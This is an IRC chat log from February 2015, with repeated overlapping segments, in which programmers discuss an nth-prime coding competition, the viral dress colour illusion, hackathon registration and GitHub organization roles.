[2015-02-26T20:38:11-0500] <+awe> Lol.
[2015-02-26T20:38:14-0500] <+awe> I think you're doing it wrong.
[2015-02-26T20:38:44-0500] <assface> well it does one malloc
[2015-02-26T20:39:09-0500] <assface> yeah it asks for 2 gigs of memory when I do 100000000
[2015-02-26T20:39:28-0500] <+awe> lol.
[2015-02-26T20:39:33-0500] <+awe> Suggestions: bitpack?
[2015-02-26T20:40:06-0500] <assface> maybe, idk how that would do without any thread safety though
[2015-02-26T20:40:14-0500] <+awe> ???
[2015-02-26T20:40:23-0500] <+awe> Oh, your thing is parallel already?
[2015-02-26T20:40:32-0500] <assface> yeah, 4 threads
[2015-02-26T20:48:17-0500] <+awe> assface: well, for the record, your thing won't work at all on the VPS.
[2015-02-26T20:48:26-0500] <+awe> assface: it's probably going to have 512 MB of RAM.
[2015-02-26T20:49:58-0500] <assface> shiggy
[2015-02-26T20:54:23-0500] <JacobEdelman_> Awe: yes
[2015-02-26T20:54:34-0500] <JacobEdelman_> My current one
[2015-02-26T20:54:35-0500] <+awe> JacobEdelman_: can you post it as reference?
[2015-02-26T20:54:51-0500] <+awe> It's super hard to find a lot of detail about this way to do it.
[2015-02-26T20:54:58-0500] <+awe> Which is funny considering it's the best way to calculate the nth prime.
[2015-02-26T20:55:26-0500] <+awe> There's basically just primecount which involves looking at the source for primesieve too which is hyper-optimized and really complex.
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[2015-02-26T21:01:00-0500] <+awe> JacobEdelman_: I know the general idea is approximate nth prime, count the primes up to this guess using prime counting function, sieve from guess on (or if the guess is too high, from some range before to the guess?) and take the correct prime from the bunch.
[2015-02-26T21:03:27-0500] <assface> bit packing triples the time my program takes
[2015-02-26T21:03:34-0500] <assface> but at least I can take bigger numbers now, I guess
[2015-02-26T21:05:05-0500] <JacobEdelman_> We use a guess that is guaranteed lower
[2015-02-26T21:05:12-0500] <assface> nln(n)
[2015-02-26T21:05:34-0500] <JacobEdelman_> Mine is about n/log log n
[2015-02-26T21:05:41-0500] <JacobEdelman_> :)
[2015-02-26T21:05:45-0500] <+awe> I've got an implementation for the inverse logarithmic interval.
[2015-02-26T21:06:22-0500] <JacobEdelman_> That's the good way to do it
[2015-02-26T21:06:33-0500] <+awe> I don't think that's guaranteed under though.
[2015-02-26T21:06:33-0500] <JacobEdelman_> I used a worse method
[2015-02-26T21:06:40-0500] <JacobEdelman_> It may be
[2015-02-26T21:06:41-0500] <+awe> So, it requires a bit more logic.
[2015-02-26T21:06:48-0500] <+awe> I don't think it is. I think it can be an overestimate.
[2015-02-26T21:06:55-0500] <JacobEdelman_> Okay
[2015-02-26T21:06:57-0500] <+awe> Yeah.
[2015-02-26T21:07:00-0500] <+awe> On 6.
[2015-02-26T21:07:07-0500] <+awe> uma-vl929-72-19-97-208:primegen Aaron$ ./target/release/primegen 6
[2015-02-26T21:07:07-0500] <+awe> 14
[2015-02-26T21:07:11-0500] <+awe> 14 is not the 6th prime
[2015-02-26T21:07:11-0500] <+awe> lol
[2015-02-26T21:07:15-0500] <JacobEdelman_> Lol
[2015-02-26T21:07:21-0500] <+awe> But yeah, it's an overestimate.
[2015-02-26T21:07:35-0500] <+awe> JacobEdelman_: can you post yours somewhere?
[2015-02-26T21:08:42-0500] <JacobEdelman_> At school play
[2015-02-26T21:08:56-0500] <JacobEdelman_> Will do so tomorrow
[2015-02-26T21:08:59-0500] <+awe> Ok, cool.
[2015-02-26T21:09:08-0500] <JacobEdelman_> It's quite good
[2015-02-26T21:09:10-0500] <+awe> Also, lol, you're at Shrek the Musical.
[2015-02-26T21:09:16-0500] <JacobEdelman_> Yes
[2015-02-26T21:09:26-0500] <JacobEdelman_> How'd you know?
[2015-02-26T21:09:33-0500] <+awe> Someone invited me on Facebook.
[2015-02-26T21:09:38-0500] <JacobEdelman_> Lol
[2015-02-26T21:10:07-0500] <JacobEdelman_> Also
[2015-02-26T21:10:23-0500] <JacobEdelman_> I am chatting this on my one plus one
[2015-02-26T21:10:26-0500] <+awe> I know.
[2015-02-26T21:10:28-0500] <JacobEdelman_> :)
[2015-02-26T21:10:31-0500] <+awe> I'm glad you finally have a phone.
[2015-02-26T21:10:38-0500] <JacobEdelman_> Is cool
[2015-02-26T21:10:48-0500] <+awe> Yeah, having a phone is nice.
[2015-02-26T21:10:55-0500] <+awe> You can play Pokemon wherever you go.
[2015-02-26T21:11:00-0500] <JacobEdelman_> Gtg
[2015-02-26T21:11:02-0500] <JacobEdelman_> Lol
[2015-02-26T21:14:42-0500] <assface> odd, not it's just giving me P(n) = n*2
[2015-02-26T21:14:47-0500] <assface> i think im doing something wrong
[2015-02-26T21:15:14-0500] <+awe> Nope.
[2015-02-26T21:15:16-0500] <+awe> That's right, assface.
[2015-02-26T21:15:18-0500] <+awe> Just leave it.
[2015-02-26T21:15:19-0500] <+awe> Don't worry.
[2015-02-26T21:15:20-0500] <+awe> :)
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[2015-02-26T22:27:10-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-02-26T21:00:59-0500] <+awe> JacobEdelman_: I know the general idea is approximate nth prime, count the primes up to this guess using prime counting function, sieve from guess on (or if the guess is too high, from some range before to the guess?) and take the correct prime from the bunch.
[2015-02-26T21:03:26-0500] <assface> bit packing triples the time my program takes
[2015-02-26T21:03:33-0500] <assface> but at least I can take bigger numbers now, I guess
[2015-02-26T21:05:04-0500] <JacobEdelman_> We use a guess that is guaranteed lower
[2015-02-26T21:05:11-0500] <assface> nln(n)
[2015-02-26T21:05:34-0500] <JacobEdelman_> Mine is about n/log log n
[2015-02-26T21:05:40-0500] <JacobEdelman_> :)
[2015-02-26T21:05:45-0500] <+awe> I've got an implementation for the inverse logarithmic interval.
[2015-02-26T21:06:22-0500] <JacobEdelman_> That's the good way to do it
[2015-02-26T21:06:32-0500] <+awe> I don't think that's guaranteed under though.
[2015-02-26T21:06:33-0500] <JacobEdelman_> I used a worse method
[2015-02-26T21:06:40-0500] <JacobEdelman_> It may be
[2015-02-26T21:06:40-0500] <+awe> So, it requires a bit more logic.
[2015-02-26T21:06:48-0500] <+awe> I don't think it is. I think it can be an overestimate.
[2015-02-26T21:06:55-0500] <JacobEdelman_> Okay
[2015-02-26T21:06:56-0500] <+awe> Yeah.
[2015-02-26T21:06:59-0500] <+awe> On 6.
[2015-02-26T21:07:06-0500] <+awe> uma-vl929-72-19-97-208:primegen Aaron$ ./target/release/primegen 6
[2015-02-26T21:07:06-0500] <+awe> 14
[2015-02-26T21:07:10-0500] <+awe> 14 is not the 6th prime
[2015-02-26T21:07:11-0500] <+awe> lol
[2015-02-26T21:07:14-0500] <JacobEdelman_> Lol
[2015-02-26T21:07:21-0500] <+awe> But yeah, it's an overestimate.
[2015-02-26T21:07:34-0500] <+awe> JacobEdelman_: can you post yours somewhere?
[2015-02-26T21:08:41-0500] <JacobEdelman_> At school play
[2015-02-26T21:08:55-0500] <JacobEdelman_> Will do so tomorrow
[2015-02-26T21:08:58-0500] <+awe> Ok, cool.
[2015-02-26T21:09:07-0500] <JacobEdelman_> It's quite good
[2015-02-26T21:09:09-0500] <+awe> Also, lol, you're at Shrek the Musical.
[2015-02-26T21:09:16-0500] <JacobEdelman_> Yes
[2015-02-26T21:09:25-0500] <JacobEdelman_> How'd you know?
[2015-02-26T21:09:33-0500] <+awe> Someone invited me on Facebook.
[2015-02-26T21:09:37-0500] <JacobEdelman_> Lol
[2015-02-26T21:10:06-0500] <JacobEdelman_> Also
[2015-02-26T21:10:22-0500] <JacobEdelman_> I am chatting this on my one plus one
[2015-02-26T21:10:25-0500] <+awe> I know.
[2015-02-26T21:10:27-0500] <JacobEdelman_> :)
[2015-02-26T21:10:30-0500] <+awe> I'm glad you finally have a phone.
[2015-02-26T21:10:38-0500] <JacobEdelman_> Is cool
[2015-02-26T21:10:47-0500] <+awe> Yeah, having a phone is nice.
[2015-02-26T21:10:55-0500] <+awe> You can play Pokemon wherever you go.
[2015-02-26T21:11:00-0500] <JacobEdelman_> Gtg
[2015-02-26T21:11:01-0500] <JacobEdelman_> Lol
[2015-02-26T21:14:42-0500] <assface> odd, not it's just giving me P(n) = n*2
[2015-02-26T21:14:46-0500] <assface> i think im doing something wrong
[2015-02-26T21:15:14-0500] <+awe> Nope.
[2015-02-26T21:15:16-0500] <+awe> That's right, assface.
[2015-02-26T21:15:17-0500] <+awe> Just leave it.
[2015-02-26T21:15:18-0500] <+awe> Don't worry.
[2015-02-26T21:15:19-0500] <+awe> :)
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[2015-02-26T22:50:40-0500] <+alokpathy> awe: o, apparently HackUMass registration was already out?
[2015-02-26T22:50:43-0500] <+alokpathy> So I'm waitlisted?
[2015-02-26T22:50:47-0500] <+awe> Yeah.
[2015-02-26T22:50:49-0500] <+awe> I mentioned that before.
[2015-02-26T22:50:53-0500] <+alokpathy> oops
[2015-02-26T22:50:57-0500] <+awe> I can probably bug them.
[2015-02-26T22:50:59-0500] <+alokpathy> Did I register before?
[2015-02-26T22:51:04-0500] <+alokpathy> Lemme check
[2015-02-26T22:52:45-0500] <+alokpathy> Gruh can't find it
[2015-02-26T22:52:49-0500] <+alokpathy> Could you bug them plz?
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[2015-02-26T22:55:51-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-02-26T21:06:33-0500] <JacobEdelman_> I used a worse method
[2015-02-26T21:06:40-0500] <JacobEdelman_> It may be
[2015-02-26T21:06:40-0500] <+awe> So, it requires a bit more logic.
[2015-02-26T21:06:48-0500] <+awe> I don't think it is. I think it can be an overestimate.
[2015-02-26T21:06:55-0500] <JacobEdelman_> Okay
[2015-02-26T21:06:56-0500] <+awe> Yeah.
[2015-02-26T21:06:59-0500] <+awe> On 6.
[2015-02-26T21:07:06-0500] <+awe> uma-vl929-72-19-97-208:primegen Aaron$ ./target/release/primegen 6
[2015-02-26T21:07:06-0500] <+awe> 14
[2015-02-26T21:07:10-0500] <+awe> 14 is not the 6th prime
[2015-02-26T21:07:11-0500] <+awe> lol
[2015-02-26T21:07:14-0500] <JacobEdelman_> Lol
[2015-02-26T21:07:21-0500] <+awe> But yeah, it's an overestimate.
[2015-02-26T21:07:34-0500] <+awe> JacobEdelman_: can you post yours somewhere?
[2015-02-26T21:08:41-0500] <JacobEdelman_> At school play
[2015-02-26T21:08:55-0500] <JacobEdelman_> Will do so tomorrow
[2015-02-26T21:08:58-0500] <+awe> Ok, cool.
[2015-02-26T21:09:07-0500] <JacobEdelman_> It's quite good
[2015-02-26T21:09:09-0500] <+awe> Also, lol, you're at Shrek the Musical.
[2015-02-26T21:09:16-0500] <JacobEdelman_> Yes
[2015-02-26T21:09:25-0500] <JacobEdelman_> How'd you know?
[2015-02-26T21:09:33-0500] <+awe> Someone invited me on Facebook.
[2015-02-26T21:09:37-0500] <JacobEdelman_> Lol
[2015-02-26T21:10:06-0500] <JacobEdelman_> Also
[2015-02-26T21:10:22-0500] <JacobEdelman_> I am chatting this on my one plus one
[2015-02-26T21:10:25-0500] <+awe> I know.
[2015-02-26T21:10:27-0500] <JacobEdelman_> :)
[2015-02-26T21:10:30-0500] <+awe> I'm glad you finally have a phone.
[2015-02-26T21:10:38-0500] <JacobEdelman_> Is cool
[2015-02-26T21:10:47-0500] <+awe> Yeah, having a phone is nice.
[2015-02-26T21:10:55-0500] <+awe> You can play Pokemon wherever you go.
[2015-02-26T21:11:00-0500] <JacobEdelman_> Gtg
[2015-02-26T21:11:01-0500] <JacobEdelman_> Lol
[2015-02-26T21:14:42-0500] <assface> odd, not it's just giving me P(n) = n*2
[2015-02-26T21:14:46-0500] <assface> i think im doing something wrong
[2015-02-26T21:15:14-0500] <+awe> Nope.
[2015-02-26T21:15:16-0500] <+awe> That's right, assface.
[2015-02-26T21:15:17-0500] <+awe> Just leave it.
[2015-02-26T21:15:18-0500] <+awe> Don't worry.
[2015-02-26T21:15:19-0500] <+awe> :)
[2015-02-26T22:50:40-0500] <+alokpathy> awe: o, apparently HackUMass registration was already out?
[2015-02-26T22:50:43-0500] <+alokpathy> So I'm waitlisted?
[2015-02-26T22:50:47-0500] <+awe> Yeah.
[2015-02-26T22:50:49-0500] <+awe> I mentioned that before.
[2015-02-26T22:50:53-0500] <+alokpathy> oops
[2015-02-26T22:50:57-0500] <+awe> I can probably bug them.
[2015-02-26T22:50:59-0500] <+alokpathy> Did I register before?
[2015-02-26T22:51:04-0500] <+alokpathy> Lemme check
[2015-02-26T22:52:45-0500] <+alokpathy> Gruh can't find it
[2015-02-26T22:52:49-0500] <+alokpathy> Could you bug them plz?
[2015-02-26T22:55:52-0500] Mode is +nt
[2015-02-26T22:56:39-0500] <JacobEdelman_> Bug them for me to
[2015-02-26T22:57:34-0500] <+awe> Were you guys on the news list thing?
[2015-02-26T22:57:42-0500] <+awe> If so, I'll bitch about that and how you didn't get an email about it.
[2015-02-26T22:58:01-0500] <+alokpathy> I think I was?
[2015-02-26T22:58:05-0500] <+alokpathy> I remember putting my email into something
[2015-02-26T22:59:39-0500] <+awe> https://fbcdn-sphotos-c-a.akamaihd.net/hphotos-ak-xpf1/t31.0-8/11018675_10205925266751949_2873022498711122285_o.jpg
[2015-02-26T22:59:42-0500] <+awe> Have you guys seen this shit?
[2015-02-26T22:59:52-0500] <+awe> I had to take this picture to prove to people that this is blue.
[2015-02-26T23:00:40-0500] <+alokpathy> ...???
[2015-02-26T23:01:00-0500] <+alokpathy> Why are they debating about a dress color?
[2015-02-26T23:01:28-0500] <calc0000> rekt
[2015-02-26T23:06:17-0500] <+awe> alokpathy: because it's some sort of social media debate.
[2015-02-26T23:06:25-0500] <+alokpathy> ....????
[2015-02-26T23:06:28-0500] <+alokpathy> I was not aware of this.
[2015-02-26T23:08:27-0500] <calc0000> i just saw this
[2015-02-26T23:08:30-0500] <calc0000> literally just now
[2015-02-26T23:08:32-0500] <calc0000> after awe mentioned it
[2015-02-26T23:08:42-0500] <+awe> Yeah.
[2015-02-26T23:08:43-0500] <+awe> It's EVERYWHERE.
[2015-02-26T23:09:28-0500] <+awe> It's because it's fucking with people's eyes.
[2015-02-26T23:09:35-0500] <+awe> It's entirely a focus thing.
[2015-02-26T23:12:32-0500] <calc0000> yeah
[2015-02-26T23:12:40-0500] <calc0000> the context around the dress messes with perception
[2015-02-26T23:12:48-0500] <calc0000> classic optical illusion
[2015-02-26T23:15:05-0500] <JacobEdelman_> Cool illusion
[2015-02-26T23:15:15-0500] <JacobEdelman_> Gnightv all
[2015-02-26T23:19:23-0500] <assface> i dont get it
[2015-02-26T23:20:09-0500] <hardmath123> It's like that thing with the zig-zags where it looks darker in one spot and lighter in another, but then they remove the thing in between and show that it's the same color.
[2015-02-26T23:21:57-0500] <+awe> hardmath123: Yeah, similar.
[2015-02-26T23:22:35-0500] <assface> i dont see it
[2015-02-27T00:05:02-0500] <hardmath123> awe: you should add an image for pdgn's github organization profile
[2015-02-27T00:05:20-0500] <hardmath123> did that person ever get back to you with a pidgey drawing?
[2015-02-27T00:06:54-0500] <+awe> hardmath123: She's been really busy, but she said next week she should be able to finish it.
[2015-02-27T00:07:07-0500] <+alokpathy> I can draw one
[2015-02-27T00:08:10-0500] <+awe> But yes, we'll have a github organization picture as soon as I get that.
[2015-02-27T00:09:25-0500] <hardmath123> :D
[2015-02-27T00:10:36-0500] <hardmath123> i haven't written any code in ages
[2015-02-27T00:20:05-0500] <+awe> hardmath123: did you see about my decision to keep you as a co-owner on the pdgn github organization?
[2015-02-27T00:20:52-0500] <hardmath123> no?
[2015-02-27T00:21:00-0500] <+awe> I mentioned it before.
[2015-02-27T00:21:05-0500] <+alokpathy> hardmath123: Congrats :D
[2015-02-27T00:21:07-0500] <hardmath123> i must have missed it
[2015-02-27T00:21:10-0500] <+awe> I moved Jacob into a group called Community Core Team
[2015-02-27T00:21:24-0500] <+awe> And added Hyper to it.
[2015-02-27T00:21:32-0500] <+awe> But I decided to leave you as co-owner.
[2015-02-27T00:22:06-0500] <hardmath123> yay
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[2015-02-26T22:50:59-0500] <+alokpathy> Did I register before?
[2015-02-26T22:51:04-0500] <+alokpathy> Lemme check
[2015-02-26T22:52:45-0500] <+alokpathy> Gruh can't find it
[2015-02-26T22:52:49-0500] <+alokpathy> Could you bug them plz?
[2015-02-26T22:56:39-0500] <JacobEdelman_> Bug them for me to
[2015-02-26T22:57:34-0500] <+awe> Were you guys on the news list thing?
[2015-02-26T22:57:42-0500] <+awe> If so, I'll bitch about that and how you didn't get an email about it.
[2015-02-26T22:58:01-0500] <+alokpathy> I think I was?
[2015-02-26T22:58:05-0500] <+alokpathy> I remember putting my email into something
[2015-02-26T22:59:39-0500] <+awe> https://fbcdn-sphotos-c-a.akamaihd.net/hphotos-ak-xpf1/t31.0-8/11018675_10205925266751949_2873022498711122285_o.jpg
[2015-02-26T22:59:42-0500] <+awe> Have you guys seen this shit?
[2015-02-26T22:59:52-0500] <+awe> I had to take this picture to prove to people that this is blue.
[2015-02-26T23:00:40-0500] <+alokpathy> ...???
[2015-02-26T23:01:00-0500] <+alokpathy> Why are they debating about a dress color?
[2015-02-26T23:01:28-0500] <calc0000> rekt
[2015-02-26T23:06:17-0500] <+awe> alokpathy: because it's some sort of social media debate.
[2015-02-26T23:06:25-0500] <+alokpathy> ....????
[2015-02-26T23:06:28-0500] <+alokpathy> I was not aware of this.
[2015-02-26T23:08:27-0500] <calc0000> i just saw this
[2015-02-26T23:08:30-0500] <calc0000> literally just now
[2015-02-26T23:08:32-0500] <calc0000> after awe mentioned it
[2015-02-26T23:08:42-0500] <+awe> Yeah.
[2015-02-26T23:08:44-0500] <+awe> It's EVERYWHERE.
[2015-02-26T23:09:28-0500] <+awe> It's because it's fucking with people's eyes.
[2015-02-26T23:09:35-0500] <+awe> It's entirely a focus thing.
[2015-02-26T23:12:32-0500] <calc0000> yeah
[2015-02-26T23:12:40-0500] <calc0000> the context around the dress messes with perception
[2015-02-26T23:12:48-0500] <calc0000> classic optical illusion
[2015-02-26T23:15:05-0500] <JacobEdelman_> Cool illusion
[2015-02-26T23:15:15-0500] <JacobEdelman_> Gnightv all
[2015-02-26T23:19:23-0500] <assface> i dont get it
[2015-02-26T23:20:09-0500] <hardmath123> It's like that thing with the zig-zags where it looks darker in one spot and lighter in another, but then they remove the thing in between and show that it's the same color.
[2015-02-26T23:21:57-0500] <+awe> hardmath123: Yeah, similar.
[2015-02-26T23:22:35-0500] <assface> i dont see it
[2015-02-27T00:05:02-0500] <hardmath123> awe: you should add an image for pdgn's github organization profile
[2015-02-27T00:05:20-0500] <hardmath123> did that person ever get back to you with a pidgey drawing?
[2015-02-27T00:06:54-0500] <+awe> hardmath123: She's been really busy, but she said next week she should be able to finish it.
[2015-02-27T00:07:07-0500] <+alokpathy> I can draw one
[2015-02-27T00:08:10-0500] <+awe> But yes, we'll have a github organization picture as soon as I get that.
[2015-02-27T00:09:25-0500] <hardmath123> :D
[2015-02-27T00:10:36-0500] <hardmath123> i haven't written any code in ages
[2015-02-27T00:20:05-0500] <+awe> hardmath123: did you see about my decision to keep you as a co-owner on the pdgn github organization?
[2015-02-27T00:20:52-0500] <hardmath123> no?
[2015-02-27T00:21:00-0500] <+awe> I mentioned it before.
[2015-02-27T00:21:05-0500] <+alokpathy> hardmath123: Congrats :D
[2015-02-27T00:21:07-0500] <hardmath123> i must have missed it
[2015-02-27T00:21:10-0500] <+awe> I moved Jacob into a group called Community Core Team
[2015-02-27T00:21:24-0500] <+awe> And added Hyper to it.
[2015-02-27T00:21:32-0500] <+awe> But I decided to leave you as co-owner.
[2015-02-27T00:22:06-0500] <hardmath123> yay
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[2015-02-27T01:47:15-0500] <LittleBobbyTables> hardmath123: wanna write code again?
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[2015-02-27T05:22:31-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-02-26T22:51:04-0500] <+alokpathy> Lemme check
[2015-02-26T22:52:45-0500] <+alokpathy> Gruh can't find it
[2015-02-26T22:52:49-0500] <+alokpathy> Could you bug them plz?
[2015-02-26T22:56:39-0500] <JacobEdelman_> Bug them for me to
[2015-02-26T22:57:34-0500] <+awe> Were you guys on the news list thing?
[2015-02-26T22:57:42-0500] <+awe> If so, I'll bitch about that and how you didn't get an email about it.
[2015-02-26T22:58:01-0500] <+alokpathy> I think I was?
[2015-02-26T22:58:05-0500] <+alokpathy> I remember putting my email into something
[2015-02-26T22:59:39-0500] <+awe> https://fbcdn-sphotos-c-a.akamaihd.net/hphotos-ak-xpf1/t31.0-8/11018675_10205925266751949_2873022498711122285_o.jpg
[2015-02-26T22:59:42-0500] <+awe> Have you guys seen this shit?
[2015-02-26T22:59:52-0500] <+awe> I had to take this picture to prove to people that this is blue.
[2015-02-26T23:00:40-0500] <+alokpathy> ...???
[2015-02-26T23:01:00-0500] <+alokpathy> Why are they debating about a dress color?
[2015-02-26T23:01:28-0500] <calc0000> rekt
[2015-02-26T23:06:17-0500] <+awe> alokpathy: because it's some sort of social media debate.
[2015-02-26T23:06:25-0500] <+alokpathy> ....????
[2015-02-26T23:06:28-0500] <+alokpathy> I was not aware of this.
[2015-02-26T23:08:27-0500] <calc0000> i just saw this
[2015-02-26T23:08:30-0500] <calc0000> literally just now
[2015-02-26T23:08:32-0500] <calc0000> after awe mentioned it
[2015-02-26T23:08:42-0500] <+awe> Yeah.
[2015-02-26T23:08:44-0500] <+awe> It's EVERYWHERE.
[2015-02-26T23:09:28-0500] <+awe> It's because it's fucking with people's eyes.
[2015-02-26T23:09:35-0500] <+awe> It's entirely a focus thing.
[2015-02-26T23:12:32-0500] <calc0000> yeah
[2015-02-26T23:12:40-0500] <calc0000> the context around the dress messes with perception
[2015-02-26T23:12:48-0500] <calc0000> classic optical illusion
[2015-02-26T23:15:05-0500] <JacobEdelman_> Cool illusion
[2015-02-26T23:15:15-0500] <JacobEdelman_> Gnightv all
[2015-02-26T23:19:23-0500] <assface> i dont get it
[2015-02-26T23:20:09-0500] <hardmath123> It's like that thing with the zig-zags where it looks darker in one spot and lighter in another, but then they remove the thing in between and show that it's the same color.
[2015-02-26T23:21:57-0500] <+awe> hardmath123: Yeah, similar.
[2015-02-26T23:22:35-0500] <assface> i dont see it
[2015-02-27T00:05:02-0500] <hardmath123> awe: you should add an image for pdgn's github organization profile
[2015-02-27T00:05:20-0500] <hardmath123> did that person ever get back to you with a pidgey drawing?
[2015-02-27T00:06:54-0500] <+awe> hardmath123: She's been really busy, but she said next week she should be able to finish it.
[2015-02-27T00:07:07-0500] <+alokpathy> I can draw one
[2015-02-27T00:08:10-0500] <+awe> But yes, we'll have a github organization picture as soon as I get that.
[2015-02-27T00:09:25-0500] <hardmath123> :D
[2015-02-27T00:10:36-0500] <hardmath123> i haven't written any code in ages
[2015-02-27T00:20:05-0500] <+awe> hardmath123: did you see about my decision to keep you as a co-owner on the pdgn github organization?
[2015-02-27T00:20:52-0500] <hardmath123> no?
[2015-02-27T00:21:00-0500] <+awe> I mentioned it before.
[2015-02-27T00:21:05-0500] <+alokpathy> hardmath123: Congrats :D
[2015-02-27T00:21:07-0500] <hardmath123> i must have missed it
[2015-02-27T00:21:10-0500] <+awe> I moved Jacob into a group called Community Core Team
[2015-02-27T00:21:24-0500] <+awe> And added Hyper to it.
[2015-02-27T00:21:32-0500] <+awe> But I decided to leave you as co-owner.
[2015-02-27T00:22:06-0500] <hardmath123> yay
[2015-02-27T01:47:16-0500] <LittleBobbyTables> hardmath123: wanna write code again?
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[2015-02-27T09:24:50-0500] <Hyper> Competition rules updated with submission details and the new submission date! https://github.com/Pdgn/programming-competitions/blob/master/01-nthprime/rules.md
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[2015-02-27T10:25:25-0500] <+awe> Hyper: you can't tag posts as a user,
[2015-02-27T10:25:29-0500] <+awe> Hyper: you need to a member of the repository
[2015-02-27T10:25:35-0500] <Hyper> awe: goddammit
[2015-02-27T10:27:18-0500] <Hyper> awe: fine they'll just file issues and we'll tag 'em
[2015-02-27T10:32:08-0500] <+awe> Ok.
[2015-02-27T10:41:37-0500] <+awe> https://github.com/huonw/external_mixin#macro_rules-with-realer-programming-languages
[2015-02-27T10:41:38-0500] <+awe> Oh man.
[2015-02-27T10:56:18-0500] <+awe> Also, just going to throw this out there. Rust provides more safety than a GC.
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[2015-02-27T10:59:21-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-02-26T22:59:42-0500] <+awe> Have you guys seen this shit?
[2015-02-26T22:59:52-0500] <+awe> I had to take this picture to prove to people that this is blue.
[2015-02-26T23:00:40-0500] <+alokpathy> ...???
[2015-02-26T23:01:00-0500] <+alokpathy> Why are they debating about a dress color?
[2015-02-26T23:01:28-0500] <calc0000> rekt
[2015-02-26T23:06:17-0500] <+awe> alokpathy: because it's some sort of social media debate.
[2015-02-26T23:06:25-0500] <+alokpathy> ....????
[2015-02-26T23:06:28-0500] <+alokpathy> I was not aware of this.
[2015-02-26T23:08:27-0500] <calc0000> i just saw this
[2015-02-26T23:08:30-0500] <calc0000> literally just now
[2015-02-26T23:08:32-0500] <calc0000> after awe mentioned it
[2015-02-26T23:08:42-0500] <+awe> Yeah.
[2015-02-26T23:08:44-0500] <+awe> It's EVERYWHERE.
[2015-02-26T23:09:28-0500] <+awe> It's because it's fucking with people's eyes.
[2015-02-26T23:09:35-0500] <+awe> It's entirely a focus thing.
[2015-02-26T23:12:32-0500] <calc0000> yeah
[2015-02-26T23:12:40-0500] <calc0000> the context around the dress messes with perception
[2015-02-26T23:12:48-0500] <calc0000> classic optical illusion
[2015-02-26T23:15:05-0500] <JacobEdelman_> Cool illusion
[2015-02-26T23:15:15-0500] <JacobEdelman_> Gnightv all
[2015-02-26T23:19:23-0500] <assface> i dont get it
[2015-02-26T23:20:09-0500] <hardmath123> It's like that thing with the zig-zags where it looks darker in one spot and lighter in another, but then they remove the thing in between and show that it's the same color.
[2015-02-26T23:21:57-0500] <+awe> hardmath123: Yeah, similar.
[2015-02-26T23:22:35-0500] <assface> i dont see it
[2015-02-27T00:05:02-0500] <hardmath123> awe: you should add an image for pdgn's github organization profile
[2015-02-27T00:05:20-0500] <hardmath123> did that person ever get back to you with a pidgey drawing?
[2015-02-27T00:06:54-0500] <+awe> hardmath123: She's been really busy, but she said next week she should be able to finish it.
[2015-02-27T00:07:07-0500] <+alokpathy> I can draw one
[2015-02-27T00:08:10-0500] <+awe> But yes, we'll have a github organization picture as soon as I get that.
[2015-02-27T00:09:25-0500] <hardmath123> :D
[2015-02-27T00:10:36-0500] <hardmath123> i haven't written any code in ages
[2015-02-27T00:20:05-0500] <+awe> hardmath123: did you see about my decision to keep you as a co-owner on the pdgn github organization?
[2015-02-27T00:20:52-0500] <hardmath123> no?
[2015-02-27T00:21:00-0500] <+awe> I mentioned it before.
[2015-02-27T00:21:05-0500] <+alokpathy> hardmath123: Congrats :D
[2015-02-27T00:21:07-0500] <hardmath123> i must have missed it
[2015-02-27T00:21:10-0500] <+awe> I moved Jacob into a group called Community Core Team
[2015-02-27T00:21:24-0500] <+awe> And added Hyper to it.
[2015-02-27T00:21:32-0500] <+awe> But I decided to leave you as co-owner.
[2015-02-27T00:22:06-0500] <hardmath123> yay
[2015-02-27T01:47:16-0500] <LittleBobbyTables> hardmath123: wanna write code again?
[2015-02-27T09:24:50-0500] <Hyper> Competition rules updated with submission details and the new submission date! https://github.com/Pdgn/programming-competitions/blob/master/01-nthprime/rules.md
[2015-02-27T10:25:25-0500] <+awe> Hyper: you can't tag posts as a user,
[2015-02-27T10:25:29-0500] <+awe> Hyper: you need to a member of the repository
[2015-02-27T10:25:35-0500] <Hyper> awe: goddammit
[2015-02-27T10:27:18-0500] <Hyper> awe: fine they'll just file issues and we'll tag 'em
[2015-02-27T10:32:08-0500] <+awe> Ok.
[2015-02-27T10:41:37-0500] <+awe> https://github.com/huonw/external_mixin#macro_rules-with-realer-programming-languages
[2015-02-27T10:41:38-0500] <+awe> Oh man.
[2015-02-27T10:56:18-0500] <+awe> Also, just going to throw this out there. Rust provides more safety than a GC.
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[2015-02-27T11:24:52-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-02-26T22:59:42-0500] <+awe> Have you guys seen this shit?
[2015-02-26T22:59:52-0500] <+awe> I had to take this picture to prove to people that this is blue.
[2015-02-26T23:00:40-0500] <+alokpathy> ...???
[2015-02-26T23:01:00-0500] <+alokpathy> Why are they debating about a dress color?
[2015-02-26T23:01:28-0500] <calc0000> rekt
[2015-02-26T23:06:17-0500] <+awe> alokpathy: because it's some sort of social media debate.
[2015-02-26T23:06:25-0500] <+alokpathy> ....????
[2015-02-26T23:06:28-0500] <+alokpathy> I was not aware of this.
[2015-02-26T23:08:27-0500] <calc0000> i just saw this
[2015-02-26T23:08:30-0500] <calc0000> literally just now
[2015-02-26T23:08:32-0500] <calc0000> after awe mentioned it
[2015-02-26T23:08:42-0500] <+awe> Yeah.
[2015-02-26T23:08:44-0500] <+awe> It's EVERYWHERE.
[2015-02-26T23:09:28-0500] <+awe> It's because it's fucking with people's eyes.
[2015-02-26T23:09:35-0500] <+awe> It's entirely a focus thing.
[2015-02-26T23:12:32-0500] <calc0000> yeah
[2015-02-26T23:12:40-0500] <calc0000> the context around the dress messes with perception
[2015-02-26T23:12:48-0500] <calc0000> classic optical illusion
[2015-02-26T23:15:05-0500] <JacobEdelman_> Cool illusion
[2015-02-26T23:15:15-0500] <JacobEdelman_> Gnightv all
[2015-02-26T23:19:23-0500] <assface> i dont get it
[2015-02-26T23:20:09-0500] <hardmath123> It's like that thing with the zig-zags where it looks darker in one spot and lighter in another, but then they remove the thing in between and show that it's the same color.
[2015-02-26T23:21:57-0500] <+awe> hardmath123: Yeah, similar.
[2015-02-26T23:22:35-0500] <assface> i dont see it
[2015-02-27T00:05:02-0500] <hardmath123> awe: you should add an image for pdgn's github organization profile
[2015-02-27T00:05:20-0500] <hardmath123> did that person ever get back to you with a pidgey drawing?
